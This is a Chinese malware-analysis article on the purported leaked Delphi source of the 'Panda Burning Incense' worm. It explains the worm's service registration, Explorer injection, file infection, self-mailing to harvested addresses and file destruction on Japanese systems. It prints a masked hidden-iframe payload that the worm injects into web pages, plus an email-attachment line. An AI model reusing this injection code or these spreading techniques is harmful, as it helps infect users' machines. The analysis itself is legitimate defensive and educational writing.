“熊猫烧香”源码曝光
去年秋天回趟老家,适逢家中秋收后“祭宅神”。期间,听亲家二大娘在香毕吟颂的《十柱香》的佛歌,深有感触:百姓烧香祝的是神仙幸福,盼的是亲人平安—这是作为衣食百姓发自内心的心愿!但如今,正待举国上下、一家老小庆祝金猪佳节到来之际,图1中的这位老兄抢先一步把香烧到了几乎家家户户,烧得各位焦头烂额,人人喊“杀”。
试问这位仁兄:你到底想干什么?
图1.“熊猫烧香”病毒感染可执行文件后的文件图标。
在短短一个月时间里,“熊猫烧香”作者多次发布更新版的变种病毒,每一次都针对以前设计的不完善进行修改,每次更新都几尽感染破坏之能事。他为什么要如此辛劳地研制病毒程序呢?本人十分同意一些防毒软件专家的观点—“‘熊猫烧香’带有强烈的商业目的,用户感染病毒后,会从后台点击国外的网站,部分变种中含有盗号木马,病毒作者可借此牟利……”。
最近,一份据称是“熊猫烧香”病毒的源代码正在互联网上散播,任何人只要利用Google或者Baidu等搜索工具都可以轻易获得(本人也是如此取得的代码)。粗略分析该代码后,我们注意到:该病毒在感染至日文操作系统时破坏性尤甚,但对其它语言Windows也造成了严重破坏。
本文中,我想对这个基于Delphi语言所编写的“熊猫烧香源码”作进一步分析,并阐述自己的几点看法。
|
二、 “熊猫烧香”病毒“源码”浅析 (一) 主程序段分析 原“熊猫烧香”病毒“源码”主程序段代码如下所示:
稍加分析,我们不难绘出其相应的执行流程(如图2): ![]() 图2.主程序流程图。 对于代码: RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程 虽然源码提供者省略了相应实现,但这是比较基本的编程实现。通过把自身注册为服务进程,可以使自己随着系统的启动一起启动。当然,还可以进一步施加技巧而使自己从Windows任务管理器下隐藏显示。 然后,上面代码在判断当前操作系统不是Win9X后,提到“远程线程映射到Explorer进程”一句。其实这里所用正是Jeffrey Richter所著《Windows 95 Windows NT 3.5高级编程技术》(后多次更句)一书第16章“闯过进程的边界”中详细讨论的“使用远程线程来注入一个DLL”技术。如今,只要上网GOOGLE一下“远程线程映射技术”即出现大量实现片断,故在不再赘述。那么,它(包括其它许多病毒)为什么要映射到Explorer进程呢?原来,Explorer(注:Windows资源管理器的名字也是Explorer.exe,但并不是一回事!)进程在Windows系统中举足轻重—Windows在启动过程中都会随同激活一个名为Explorer.exe的进程。它用于管理Windows图形外壳,包括开始菜单、任务栏、桌面和文件管理等,损坏或删除该程序会导致Windows图形界面无法适用。注:这并不是说Windows的运行根本离不开它;但删除掉这个程序后,整个Windows桌面无法再用,而对于普通用户也感觉到好象无法再使用Windows了。 另注:VCL函数Paramstr(n)的作用是返回当前可执行文件指定的命令行参数;当n=0时,返回当前可执行文件名(包含完整的路径)。 因此,上面代码中从第n行到第n+7行的作用是,从已感染的宿主程序中分离出原无染程序代码部分,并启动此无染程序。这是病毒的重要伪装手段之一:不是一下子使宿主中毒瘫痪,而是感染宿主使之达到继续传播目标的同时,启动另一个“原”无毒程序(实际上文件名已经改变,加了一个空格字符)。 接下来,让我们深入分析上面流程中“InfectFiles(感染文件)”部分的执行过程。 |
|
(二) 具体感染文件的过程 这个子过程的源码如下所示:
objMail.Attachments.Add(“c:\virus.vbs") 1 |
|
(三) LoopFiles子过程分析 这个子程序的功能是:遍历本地磁盘,并详细实施感染及破坏过程。在此列出其关键代码片断:
|
<iframe src="hxxp://www.*****.com/wuhan/down.htm" width="0" height="0" frameborder="0"> </iframe>
于是,用户在启动此网页时,即可把URL导航到自己指定的网址(注:读者试验时不妨修改一下其中的URL,还有width和height等参数,效果会更明显)。接下来,程序进一步判断如果当前文件是电子邮件客户端程序相应的邮件地址数据文件,则取得这些地址信息。虽然此处没有说明如何使用它们,但根据普通蠕虫病毒特征,应该是把带有自身(病毒体)的邮件发送到这些邮件地址,进而达到利用网络传播自身的目的。奇怪的是,等程序执行(判断)到语句“if IsJap then”处—此时已经对满足前面特征的文件执行完相应的感染或传播—才判断操作系统是否为日文版本。如果是,则对另外一些常见文件类型(.DOC、.XLS、.MDB…….AVI)进行彻底破坏(调用过程SmashFile彻底摧毁文件)。看起来,这位“烧香”仁兄也是一位“爱国主义”分子。只可惜,在“打倒日本帝国主义”之前,你的广大同胞已经被“焚得焦头烂额”了。
|
三、 “熊猫烧香”源码告诉我们什么? (一)病毒的编写变得相对越来越容易 记得本人92年刚从学校毕业时,要想深入学习一点DOS内核编程技术,不得不费神“远程邮寄”参考书。而如今的互联网上黑客教程遍地:XX黑客教程,XX破解教程,各种流行程序漏洞扫描教程……国内的,国外的,应有尽有。另一方面,微机早已进入普通家庭,这对各种计算机技术的普及也起到巨大的推动作用。所有这些极大地推动了病毒编写技术的传播,乃至于几乎人人都能写点病毒,但由于软件编码特有的“细活”之特性,使得不少学习粗心者“无意插柳柳成荫”。 (二)病毒的传播越来越容易 在上面的代码中,我们注意到如下几点:第一,程序遍历磁盘上邮件地址库把自己作为电子邮件附件发送出去;第二,病毒感染网页文件(简单地在网页最后加入一小段代码),致使当前打开此网页时即激活病毒体。这些“作战”手段借助于广泛普及的因特网几乎是一蹴而就的事情。因而,从这种角度讲,病毒的传播已变得越来越容易。 |
